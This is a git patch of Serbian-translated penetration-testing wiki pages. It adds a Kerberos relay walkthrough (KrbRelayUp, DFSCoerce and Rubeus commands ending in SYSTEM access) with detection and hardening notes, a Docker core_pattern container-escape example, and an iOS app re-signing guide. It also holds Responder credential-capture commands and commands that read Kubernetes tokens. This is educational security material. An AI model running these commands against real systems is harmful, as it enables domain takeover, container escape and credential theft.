From 7b345c93e658280e844d8c9298d6258bdd0046a3 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 11 May 2025 15:14:41 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/pentesting-network/ --- src/SUMMARY.md | 2 + ...-ns-mdns-dns-and-wpad-and-relay-attacks.md | 125 ++++++++++++++++-- .../sensitive-mounts.md | 64 +++++---- .../ios-pentesting-without-jailbreak.md | 73 ++++++++++ .../ios-pentesting/ios-testing-environment.md | 64 ++++----- 5 files changed, 261 insertions(+), 67 deletions(-) create mode 100644 src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 0fee1721f..911b4b8bc 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -316,6 +316,7 @@ - [Drozer Tutorial](mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md) - [Exploiting Content Providers](mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md) - [Exploiting a debuggeable application](mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md) + - [Flutter](mobile-pentesting/android-app-pentesting/flutter.md) - [Frida Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/README.md) - [Frida Tutorial 1](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md) - [Frida Tutorial 2](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md) @@ -342,6 +343,7 @@ - [iOS Extracting Entitlements From Compiled Application](mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md) - [iOS Frida Configuration](mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md) - [iOS Hooking With Objection](mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md) + - [iOS Pentesting withuot Jailbreak](mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md) - [iOS Protocol Handlers](mobile-pentesting/ios-pentesting/ios-protocol-handlers.md) - [iOS Serialisation and Encoding](mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md) - [iOS Testing Environment](mobile-pentesting/ios-pentesting/ios-testing-environment.md) diff --git a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md index c079af4ae..b4639f62e 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -1,4 +1,4 @@ -# Spoofing LLMNR, NBT-NS, mDNS/DNS i WPAD i Relay napadi +# Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks {{#include ../../banners/hacktricks-training.md}} @@ -7,9 +7,9 @@ ### Protokoli za lokalno rešavanje hostova - **LLMNR, NBT-NS i mDNS**: -- Microsoft i drugi operativni sistemi koriste LLMNR i NBT-NS za lokalno rešavanje imena kada DNS zakaže. Slično, Apple i Linux sistemi koriste mDNS. +- Microsoft i drugi operativni sistemi koriste LLMNR i NBT-NS za lokalno rešavanje imena kada DNS zakaže. Slično tome, Apple i Linux sistemi koriste mDNS. - Ovi protokoli su podložni presretanju i spoofingu zbog svoje neautentifikovane, broadcast prirode preko UDP-a. -- [Responder](https://github.com/lgandx/Responder) se može koristiti za impersonaciju usluga slanjem lažnih odgovora hostovima koji upituju ove protokole. +- [Responder](https://github.com/lgandx/Responder) se može koristiti za impersonaciju usluga slanjem lažnih odgovora hostovima koji postavljaju upite ovim protokolima. - Dodatne informacije o impersonaciji usluga koristeći Responder mogu se naći [ovde](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). ### Protokol za automatsko otkrivanje web proxy-a (WPAD) @@ -31,26 +31,26 @@ - Da biste pokrenuli Responder sa podrazumevanim postavkama: `responder -I ` - Za agresivnije ispitivanje (sa potencijalnim nuspojavama): `responder -I -P -r -v` - Tehnike za hvatanje NTLMv1 izazova/odgovora radi lakšeg krakenja: `responder -I --lm --disable-ess` -- WPAD impersonacija može se aktivirati sa: `responder -I --wpad` +- Impersonacija WPAD-a može se aktivirati sa: `responder -I --wpad` - NetBIOS zahtevi mogu se rešiti na IP napadača, a može se postaviti i proxy za autentifikaciju: `responder.py -I -Pv` ### DHCP trovanje sa Responder-om -- Spoofing DHCP odgovora može trajno otrovati rutiranje informacija žrtve, nudeći diskretniju alternativu ARP trovanju. +- Spoofing DHCP odgovora može trajno otrovati rutiranje informacije žrtve, nudeći diskretniju alternativu ARP trovanju. - Zahteva precizno poznavanje konfiguracije ciljne mreže. - Pokretanje napada: `./Responder.py -I eth0 -Pdv` - Ova metoda može efikasno uhvatiti NTLMv1/2 hešove, ali zahteva pažljivo rukovanje kako bi se izbeglo ometanje mreže. ### Hvatanje kredencijala sa Responder-om -- Responder će impersonirati usluge koristeći gore pomenute protokole, hvatajući kredencijale (obično NTLMv2 Challenge/Response) kada korisnik pokuša da se autentifikuje protiv spoofovanih usluga. -- Mogu se pokušati da se pređe na NetNTLMv1 ili onemogući ESS za lakše krakenje kredencijala. +- Responder će impersonirati usluge koristeći gore pomenute protokole, hvatajući kredencijale (obično NTLMv2 izazov/odgovor) kada korisnik pokuša da se autentifikuje protiv spoofovanih usluga. +- Mogu se pokušati pokušaji da se pređe na NetNTLMv1 ili da se onemogući ESS radi lakšeg krakenja kredencijala. Važno je napomenuti da se korišćenje ovih tehnika mora vršiti legalno i etički, osiguravajući odgovarajuću autorizaciju i izbegavajući ometanje ili neovlašćen pristup. ## Inveigh -Inveigh je alat za penetracione testere i red timere, dizajniran za Windows sisteme. Nudi funkcionalnosti slične Responder-u, obavljajući spoofing i man-in-the-middle napade. Alat se razvio iz PowerShell skripte u C# binarni, sa [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) i [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) kao glavnim verzijama. Detaljni parametri i uputstva mogu se naći u [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters). +Inveigh je alat za penetracione testere i red timere, dizajniran za Windows sisteme. Nudi funkcionalnosti slične Responder-u, obavljajući spoofing i napade "man-in-the-middle". Alat se razvio iz PowerShell skripte u C# binarni, sa [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) i [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) kao glavnim verzijama. Detaljni parametri i uputstva mogu se naći u [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters). Inveigh se može koristiti kroz PowerShell: ```bash @@ -69,7 +69,7 @@ Ovaj napad koristi SMB autentifikacione sesije za pristup ciljnim mašinama, omo #### 445 Port Forwarding and Tunneling -U scenarijima gde direktno umrežavanje nije izvodljivo, saobraćaj na portu 445 treba preusmeriti i tunelovati. Alati poput [**PortBender**](https://github.com/praetorian-inc/PortBender) pomažu u preusmeravanju saobraćaja sa porta 445 na drugi port, što je neophodno kada je dostupan lokalni administratorski pristup za učitavanje drajvera. +U scenarijima gde direktno umrežavanje nije izvodljivo, saobraćaj na portu 445 treba preusmeriti i tunelovati. Alati poput [**PortBender**](https://github.com/praetorian-inc/PortBender) pomažu u preusmeravanju saobraćaja sa porta 445 na drugi port, što je neophodno kada je lokalni administratorski pristup dostupan za učitavanje drajvera. PortBender podešavanje i rad u Cobalt Strike: ```bash @@ -105,16 +105,119 @@ python MultiRelay.py -t -u ALL -d # Dump hashes # Proxychains for routing traffic ``` -Ovi alati i tehnike čine sveobuhvatan skup za sprovođenje NTLM Relay napada u različitim mrežnim okruženjima. +Ovi alati i tehnike čine sveobuhvatan set za sprovođenje NTLM Relay napada u različitim mrežnim okruženjima. ### Prisiljavanje NTLM prijava -Na Windows-u **možete biti u mogućnosti da prisilite neke privilegovane naloge da se autentifikuju na proizvoljnim mašinama**. Pročitajte sledeću stranicu da biste saznali kako: +Na Windows-u **možda ćete moći da prisilite neke privilegovane naloge da se autentifikuju na proizvoljnim mašinama**. Pročitajte sledeću stranicu da biste saznali kako: {{#ref}} ../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md {{#endref}} +## Kerberos Relay napad + +**Kerberos relay napad** krade **AP-REQ tiket** sa jedne usluge i ponovo ga koristi protiv druge usluge koja deli **isti ključ računa računara** (jer oba SPN-a sede na istom `$` računu mašine). Ovo funkcioniše iako se **klase usluga SPN-a razlikuju** (npr. `CIFS/` → `LDAP/`) jer je *ključ* koji dekriptuje tiket NT hash mašine, a ne sam SPN string i SPN string nije deo potpisa. + +Za razliku od NTLM relay, skakanje je ograničeno na *istu host* ali, ako ciljate protokol koji vam omogućava da pišete u LDAP, možete se povezati u **Resource-Based Constrained Delegation (RBCD)** ili **AD CS upis** i pop **NT AUTHORITY\SYSTEM** u jednom potezu. + +Za detaljne informacije o ovom napadu proverite: + +- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html) +- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/) + +- 1. **Osnovi Kerberosa** + +| Token | Svrha | Relevancija za relay | +|-------|---------|-----------------| +| **TGT / AS-REQ ↔ REP** | Dokazuje korisnika KDC-u | netaknuto | +| **Servisni tiket / TGS-REQ ↔ REP** | Povezan sa jednim **SPN**; enkriptovan ključem vlasnika SPN-a | zamenljivi ako SPN-ovi dele račun | +| **AP-REQ** | Klijent šalje `TGS` usluzi | **ono što krademo i ponovo koristimo** | + +* Tiketi su enkriptovani sa **ključem izvedenim iz lozinke računa koji poseduje SPN**. +* **Authenticator** unutar AP-REQ ima vremensku oznaku od 5 minuta; ponovna upotreba unutar tog prozora je validna dok keš usluge ne vidi duplikat. +* Windows retko proverava da li se SPN string u tiketu poklapa sa uslugom koju pogodite, tako da tiket za `CIFS/HOST` obično dobro dekriptuje na `LDAP/HOST`. + +- 2. **Šta mora biti tačno da bi se relayed Kerberos** + +1. **Zajednički ključ:** izvorni i ciljni SPN-ovi pripadaju istom računu računara (podrazumevano na Windows serverima). +2. **Bez zaštite kanala:** SMB/LDAP potpis isključen i EPA isključen za HTTP/LDAPS. +3. **Možete presresti ili primorati autentifikaciju:** LLMNR/NBNS otrov, DNS spoof, **PetitPotam / DFSCoerce RPC**, lažni AuthIP, rogue DCOM, itd. +4. **Izvor tiketa nije već korišćen:** pobedite u trci pre nego što pravi paket stigne ili ga potpuno blokirajte; inače keš ponovne upotrebe servera aktivira Događaj 4649. +5. Na neki način morate biti u mogućnosti da izvršite **MitM u komunikaciji**, možda kao deo grupe DNSAmins da biste izmenili DNS domena ili da biste mogli da promenite HOST datoteku žrtve. + +### Koraci Kerberos Relay + +- 3.1 **Recon host** +```powershell +# find servers where HTTP, LDAP or CIFS share the same machine account +Get-ADComputer -Filter * -Properties servicePrincipalName | +Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} | +Select Name,servicePrincipalName +``` +- 3.2 **Pokrenite relays slušalac** + +[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp) +```powershell +# one-click local SYSTEM via RBCD +.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 +``` +`KrbRelayUp` obavija **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** u jednoj binarnoj datoteci. + +- 3.3 **Prisiliti Kerberos autentifikaciju** +```powershell +# coerce DC to auth over SMB with DFSCoerce +.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50 +``` +DFSCoerce čini da DC pošalje Kerberos `CIFS/DC01` tiket nama. + +- 3.4 **Preusmeri AP-REQ** + +KrbRelay izvlači GSS blob iz SMB, ponovo ga pakuje u LDAP bind i prosleđuje ga `ldap://DC01`—autentifikacija uspeva jer **isti ključ** dešifruje. + +- 3.5 **Zloupotreba LDAP ➜ RBCD ➜ SYSTEM** +```powershell +# (auto inside KrbRelayUp) manual for clarity +New-MachineAccount -Name "FAKE01" -Password "P@ss123" +KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID +Rubeus s4u /user:FAKE01$ /rc4: /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt +SCMUACBypass.exe +``` +Sada posedujete **NT AUTHORITY\SYSTEM**. + +### **Još puteva koje vredi znati** + +| Vektor | Trik | Zašto je to važno | +|--------|-------|----------------| +| **AuthIP / IPSec** | Lažni server šalje **GSS-ID payload** sa bilo kojim SPN; klijent gradi AP-REQ direktno ka vama | Radi čak i preko podmreža; mašinske kredencijale po defaultu | +| **DCOM / MSRPC** | Zlonamerna OXID rezolucija prisiljava klijenta da se autentifikuje na proizvoljni SPN i port | Čista *lokalna* privilegija-eskalacija; zaobilazi firewall | +| **AD CS Web Enroll** | Preusmerite mašinski tiket na `HTTP/CA` i dobijte sertifikat, zatim **PKINIT** za kreiranje TGT-ova | Zaobilazi LDAP potpisne odbrane | +| **Shadow Credentials** | Napišite `msDS-KeyCredentialLink`, zatim PKINIT sa lažnim parom ključeva | Nema potrebe za dodavanjem računa računara | + +### **Rešavanje problema** + +| Greška | Značenje | Rešenje | +|-------|---------|-----| +| `KRB_AP_ERR_MODIFIED` | Ključ tiketa ≠ ključ cilja | Pogrešan host/SPN | +| `KRB_AP_ERR_SKEW` | Sat > 5 min razlike | Sinhronizujte vreme ili koristite `w32tm` | +| LDAP vezivanje ne uspeva | Potpisivanje je primenjeno | Koristite AD CS putanju ili onemogućite potpisivanje | +| Spam događaja 4649 | Usluga je videla duplikat autentifikatora | blokirajte ili trkajte originalni paket | + +### **Detekcija** + +* Porast u **Događaju 4769** za `CIFS/`, `HTTP/`, `LDAP/` iz istog izvora u roku od nekoliko sekundi. +* **Događaj 4649** na usluzi ukazuje na detektovanu reprodukciju. +* Kerberos prijava sa **127.0.0.1** (preusmeravanje na lokalni SCM) je veoma sumnjiva—mapirajte putem Sigma pravila u KrbRelayUp dokumentima. +* Pratite promene na atributima `msDS-AllowedToActOnBehalfOfOtherIdentity` ili `msDS-KeyCredentialLink`. + +## **Ojačavanje** + +1. **Primorajte LDAP & SMB potpisivanje + EPA** na svakom serveru. +2. **Podelite SPN-ove** tako da HTTP nije na istom računu kao CIFS/LDAP. +3. Zakrpite vektore prinude (PetitPotam KB5005413, DFS, AuthIP). +4. Postavite **`ms-DS-MachineAccountQuota = 0`** da zaustavite neovlašćena pridruživanja računara. +5. Upozorite na **Događaj 4649** i neočekivane loopback Kerberos prijave. + ## Reference - [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/) diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index 5f66697a6..4ac1e3f3b 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -15,50 +15,62 @@ Ovaj direktorijum omogućava pristup za modifikaciju kernel varijabli, obično p #### **`/proc/sys/kernel/core_pattern`** - Opisano u [core(5)](https://man7.org/linux/man-pages/man5/core.5.html). -- Omogućava definisanje programa koji će se izvršiti prilikom generisanja core datoteke sa prvih 128 bajtova kao argumentima. Ovo može dovesti do izvršavanja koda ako datoteka počinje sa cevom `|`. -- **Primer testiranja i eksploatacije**: +- Ako možete da pišete unutar ove datoteke, moguće je napisati cevi `|` praćene putanjom do programa ili skripte koja će biti izvršena nakon što dođe do kvara. +- Napadač može pronaći putanju unutar hosta do svog kontejnera izvršavajući `mount` i napisati putanju do binarne datoteke unutar svog kontejnerskog datotečnog sistema. Zatim, izazvati kvar programa kako bi naterao kernel da izvrši binarnu datoteku van kontejnera. +- **Primer testiranja i eksploatacije**: ```bash [ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access cd /proc/sys/kernel echo "|$overlay/shell.sh" > core_pattern # Set custom handler sleep 5 && ./crash & # Trigger handler ``` +Proverite [ovaj post](https://pwning.systems/posts/escaping-containers-for-fun/) za više informacija. +Primer programa koji se ruši: +```c +int main(void) { +char buf[1]; +for (int i = 0; i < 100; i++) { +buf[i] = 1; +} +return 0; +} +``` #### **`/proc/sys/kernel/modprobe`** -- Detaljno opisano u [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +- Detaljno u [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). - Sadrži putanju do učitača kernel modula, koji se poziva za učitavanje kernel modula. - **Primer provere pristupa**: ```bash -ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe +ls -l $(cat /proc/sys/kernel/modprobe) # Proveri pristup modprobe ``` #### **`/proc/sys/vm/panic_on_oom`** -- Pomenuto u [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +- Referencirano u [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). - Globalna zastavica koja kontroliše da li kernel panici ili poziva OOM killer kada dođe do OOM uslova. #### **`/proc/sys/fs`** - Prema [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), sadrži opcije i informacije o datotečnom sistemu. -- Pristup za pisanje može omogućiti različite napade uskraćivanja usluge protiv hosta. +- Pristup za pisanje može omogućiti razne napade uskraćivanja usluge protiv hosta. #### **`/proc/sys/fs/binfmt_misc`** -- Omogućava registraciju interpretatora za nenativne binarne formate na osnovu njihovog magičnog broja. +- Omogućava registraciju interpretera za nenativne binarne formate na osnovu njihovog magičnog broja. - Može dovesti do eskalacije privilegija ili pristupa root shell-u ako je `/proc/sys/fs/binfmt_misc/register` zapisiv. - Relevantna eksploatacija i objašnjenje: - [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc) - Detaljan tutorijal: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ) -### Others in `/proc` +### Ostalo u `/proc` #### **`/proc/config.gz`** - Može otkriti konfiguraciju kernela ako je `CONFIG_IKCONFIG_PROC` omogućeno. -- Korisno za napadače da identifikuju ranjivosti u pokrenutom kernelu. +- Korisno za napadače da identifikuju ranjivosti u aktivnom kernelu. #### **`/proc/sysrq-trigger`** @@ -66,19 +78,19 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe - **Primer restartovanja hosta**: ```bash -echo b > /proc/sysrq-trigger # Reboots the host +echo b > /proc/sysrq-trigger # Restartuje host ``` #### **`/proc/kmsg`** - Izlaže poruke iz kernel ring bafera. -- Može pomoći u kernel eksploatacijama, curenjima adresa i pružiti osetljive sistemske informacije. +- Može pomoći u kernel eksploatacijama, curenjima adresa i pružiti osetljive informacije o sistemu. #### **`/proc/kallsyms`** -- Lista kernel izvezene simbole i njihove adrese. +- Lista kernel eksportovane simbole i njihove adrese. - Osnovno za razvoj kernel eksploatacija, posebno za prevazilaženje KASLR-a. -- Informacije o adresama su ograničene sa `kptr_restrict` postavljenim na `1` ili `2`. +- Informacije o adresama su ograničene kada je `kptr_restrict` postavljen na `1` ili `2`. - Detalji u [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). #### **`/proc/[pid]/mem`** @@ -111,10 +123,10 @@ echo b > /proc/sysrq-trigger # Reboots the host #### **`/proc/[pid]/mountinfo`** -- Pruža informacije o tačkama montiranja u prostoru imena montiranja procesa. -- Izlaže lokaciju kontejnera `rootfs` ili slike. +- Pruža informacije o tačkama montiranja u namespace-u montiranja procesa. +- Izlaže lokaciju kontejnerskog `rootfs` ili slike. -### `/sys` Vulnerabilities +### `/sys` Ranjivosti #### **`/sys/kernel/uevent_helper`** @@ -148,7 +160,7 @@ cat /output %%% #### **`/sys/kernel/vmcoreinfo`** -- Curi kernel adrese, potencijalno ugrožavajući KASLR. +- Curi adrese kernela, potencijalno kompromitujući KASLR. #### **`/sys/kernel/security`** @@ -158,20 +170,20 @@ cat /output %%% #### **`/sys/firmware/efi/vars` i `/sys/firmware/efi/efivars`** - Izlaže interfejse za interakciju sa EFI varijablama u NVRAM-u. -- Pogrešna konfiguracija ili eksploatacija može dovesti do "brickovanja" laptopova ili nebootabilnih host mašina. +- Pogrešna konfiguracija ili eksploatacija može dovesti do "brick"-ovanih laptopova ili nebootabilnih host mašina. #### **`/sys/kernel/debug`** -- `debugfs` nudi "bez pravila" debagiranje interfejsa za kernel. -- Istorija bezbednosnih problema zbog svoje neograničene prirode. +- `debugfs` nudi "bez pravila" interfejs za debagovanje kernela. +- Istorija sigurnosnih problema zbog svoje neograničene prirode. -### `/var` Vulnerabilities +### `/var` Ranjivosti -Hostova **/var** fascikla sadrži sokete kontejnerskog runtime-a i datotečne sisteme kontejnera. Ako je ova fascikla montirana unutar kontejnera, taj kontejner će dobiti pristup za čitanje i pisanje drugim datotečnim sistemima kontejnera sa root privilegijama. Ovo se može zloupotrebiti za prebacivanje između kontejnera, izazivanje uskraćivanja usluge ili postavljanje backdoora u druge kontejnere i aplikacije koje se u njima izvršavaju. +Hostova **/var** fascikla sadrži socket-e kontejnerskog runtime-a i datotečne sisteme kontejnera. Ako je ova fascikla montirana unutar kontejnera, taj kontejner će dobiti pristup za čitanje i pisanje do datotečnih sistema drugih kontejnera sa root privilegijama. Ovo se može zloupotrebiti za prebacivanje između kontejnera, uzrokovanje uskraćivanja usluge ili postavljanje backdoor-a u druge kontejnere i aplikacije koje se u njima izvršavaju. #### Kubernetes -Ako je ovakav kontejner raspoređen sa Kubernetes: +Ako je kontejner poput ovog raspoređen sa Kubernetes: ```yaml apiVersion: v1 kind: Pod @@ -224,7 +236,7 @@ Takođe možete zameniti konfiguracione datoteke, binarne datoteke, servise, dat ##### Pristup cloud kredencijalima -Kontejner može čitati K8s serviceaccount tokene ili AWS webidentity tokene što omogućava kontejneru da dobije neovlašćen pristup K8s ili cloudu: +Kontejner može čitati K8s serviceaccount tokene ili AWS webidentity tokene što omogućava kontejneru da dobije neovlašćen pristup K8s ili cloud: ```bash / # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io /host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token @@ -253,8 +265,8 @@ drwx--x--- 4 root root 4096 Jan 9 21:22 062f14e5adbedce75cea699828e22657c8044 ``` #### Napomena -Stvarne putanje mogu se razlikovati u različitim postavkama, zbog čega je najbolje koristiti **find** komandu za -lociranje datoteka drugih kontejnera i SA / web identitet tokena +Stvarne putanje mogu se razlikovati u različitim postavkama, zbog čega je najbolje da koristite **find** komandu da +pronađete datoteke drugih kontejnera i SA / web identitet tokene. ### Reference diff --git a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md new file mode 100644 index 000000000..cd69d58fb --- /dev/null +++ b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md @@ -0,0 +1,73 @@ +# iOS Pentesting without Jailbreak + +{{#include ../../banners/hacktricks-training.md}} + +## Glavna ideja + +Aplikacije potpisane sa **entitlement `get_task_allow`** omogućavaju trećim aplikacijama da pokrenu funkciju nazvanu **`task_for_pid()`** sa ID-jem procesa inicijalne aplikacije kao argumentom kako bi dobile port zadatka (da bi mogle da ga kontrolišu i pristupe njegovoj memoriji). + +Međutim, nije tako lako kao samo preuzeti IPA, ponovo ga potpisati sa entitlement-om i vratiti ga na svoj uređaj. To je zbog FairPlay zaštite. Kada se potpis aplikacije promeni, DRM (Digital Rights Management) ključ je **nevažeći i aplikacija neće raditi**. + +Sa starim jailbroken uređajem, moguće je instalirati IPA, **dekriptovati ga koristeći svoj omiljeni alat** (kao što su Iridium ili frida-ios-dump), i preuzeti ga nazad sa uređaja. Ipak, ako je moguće, preporučuje se da jednostavno pitate klijenta za dekriptovani IPA. + +## Dobijanje dekriptovanog IPA + +### Preuzmite ga od Apple-a + +1. Instalirajte aplikaciju koju želite da testirate na iPhone +2. Instalirajte i pokrenite [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) na svom macOS-u +3. Otvorite `Terminal` na svom Mac-u, i idite u `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. IPA će se kasnije pojaviti u ovoj fascikli. +4. Trebalo bi da vidite svoj iOS uređaj. Dvaput kliknite na njega, a zatim kliknite na Dodaj + → Aplikacije iz gornjeg menija. +5. Nakon što kliknete na Dodaj, Configurator će preuzeti IPA od Apple-a i pokušati da ga pošalje na vaš uređaj. Ako ste pratili moju preporuku ranije i već instalirali IPA, pojaviće se prozor koji vas pita da ponovo instalirate aplikaciju. +6. IPA bi trebala biti preuzeta unutar `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` odakle je možete uzeti. + +Proverite [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) za detaljnije informacije o ovom procesu. + +### Dekriptovanje aplikacije + +Da bismo dekriptovali IPA, instaliraćemo ga. Međutim, ako imate stariji jailbroken iPhone, potencijalno njegova verzija neće biti podržana od strane aplikacije, jer obično aplikacije podržavaju samo najnovije verzije. + +Dakle, da biste ga instalirali, jednostavno raspakujte IPA: +```bash +unzip redacted.ipa -d unzipped +``` +Proverite `Info.plist` za minimalnu podržanu verziju i ako je vaš uređaj stariji od toga, promenite vrednost tako da bude podržana. + +Ponovo zipujte IPA: +```bash +cd unzipped +zip -r ../no-min-version.ipa * +``` +Zatim instalirajte IPA, na primer, sa: +```bash +ideviceinstaller -i no-min-version.ipa -w +``` +Napomena da vam može biti potreban **AppSync Unified tweak** iz Cydie da biste sprečili bilo kakve `invalid signature` greške. + +Kada se instalira, možete koristiti **Iridium tweak** iz Cydie kako biste dobili dekriptovani IPA. + + +### Patch entitlements & re-sign + +Da biste ponovo potpisali aplikaciju sa `get-task-allow` entitlements, dostupno je nekoliko alata kao što su `app-signer`, `codesign` i `iResign`. `app-signer` ima vrlo korisnički prijateljski interfejs koji omogućava vrlo lako ponovo potpisivanje IPA datoteke tako što se navodi IPA za ponovo potpisivanje, da se **stavi `get-task-allow`** i sertifikat i profil za obezbeđenje koji će se koristiti. + +Što se tiče sertifikata i profila za potpisivanje, Apple nudi **besplatne profile za potpisivanje developera** za sve naloge putem Xcode-a. Samo kreirajte aplikaciju i konfigurišite jedan. Zatim, konfigurišite **iPhone da veruje aplikacijama developera** tako što ćete otići na `Settings` → `Privacy & Security`, i kliknite na `Developer Mode`. + + +Sa ponovo potpisanim IPA, vreme je da ga instalirate na uređaj kako biste ga pentestirali: +```bash +ideviceinstaller -i resigned.ipa -w +``` +### Hook + +Možete lako povezati svoju aplikaciju koristeći uobičajene alate kao što su frida i objection: +```bash +objection -g [your app bundle ID] explore + +``` +## Reference + +- [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md b/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md index fd35dafd8..013445ed1 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md +++ b/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md @@ -4,12 +4,12 @@ ## Apple Developer Program -**Provisioning identity** je skup javnih i privatnih ključeva koji su povezani sa Apple developer nalogom. Da biste **potpisali aplikacije**, potrebno je da platite **99$/godina** da biste se registrovali u **Apple Developer Program** kako biste dobili svoju provisioning identity. Bez toga nećete moći da pokrenete aplikacije iz izvornog koda na fizičkom uređaju. Druga opcija je korišćenje **jailbroken uređaja**. +**Provisioning identity** je skup javnih i privatnih ključeva koji su povezani sa Apple developerskim nalogom. Da biste **potpisali aplikacije**, potrebno je da platite **99$/god** da biste se registrovali u **Apple Developer Program** kako biste dobili svoju provisioning identity. Bez toga nećete moći da pokrenete aplikacije iz izvornog koda na fizičkom uređaju. Druga opcija je korišćenje **jailbroken uređaja**. Počevši od Xcode 7.2, Apple je omogućio opciju za kreiranje **besplatnog iOS razvojnog provisioning profila** koji omogućava pisanje i testiranje vaše aplikacije na pravom iPhone-u. Idite na _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Dodajte novi Appli ID sa vašim podacima) --> _Kliknite na kreirani Apple ID_ --> _Manage Certificates_ --> _+_ (Apple Development) --> _Done_\ -\_\_Zatim, da biste pokrenuli vašu aplikaciju na iPhone-u, prvo morate **navesti iPhone da veruje računaru.** Zatim, možete pokušati da **pokrenete aplikaciju na mobilnom iz Xcode-a,** ali će se pojaviti greška. Idite na _Settings_ --> _General_ --> _Profiles and Device Management_ --> Izaberite nepouzdani profil i kliknite na "**Trust**". +\_\_Zatim, da biste pokrenuli vašu aplikaciju na vašem iPhone-u, prvo morate **naznačiti iPhone da veruje računaru.** Zatim, možete pokušati da **pokrenete aplikaciju na mobilnom iz Xcode-a,** ali će se pojaviti greška. Idite na _Settings_ --> _General_ --> _Profiles and Device Management_ --> Izaberite nepouzdani profil i kliknite na "**Trust**". -Napomena da **aplikacije potpisane istim potpisnim sertifikatom mogu deliti resurse na siguran način, kao što su stavke iz keychain-a**. +Napomena da **aplikacije 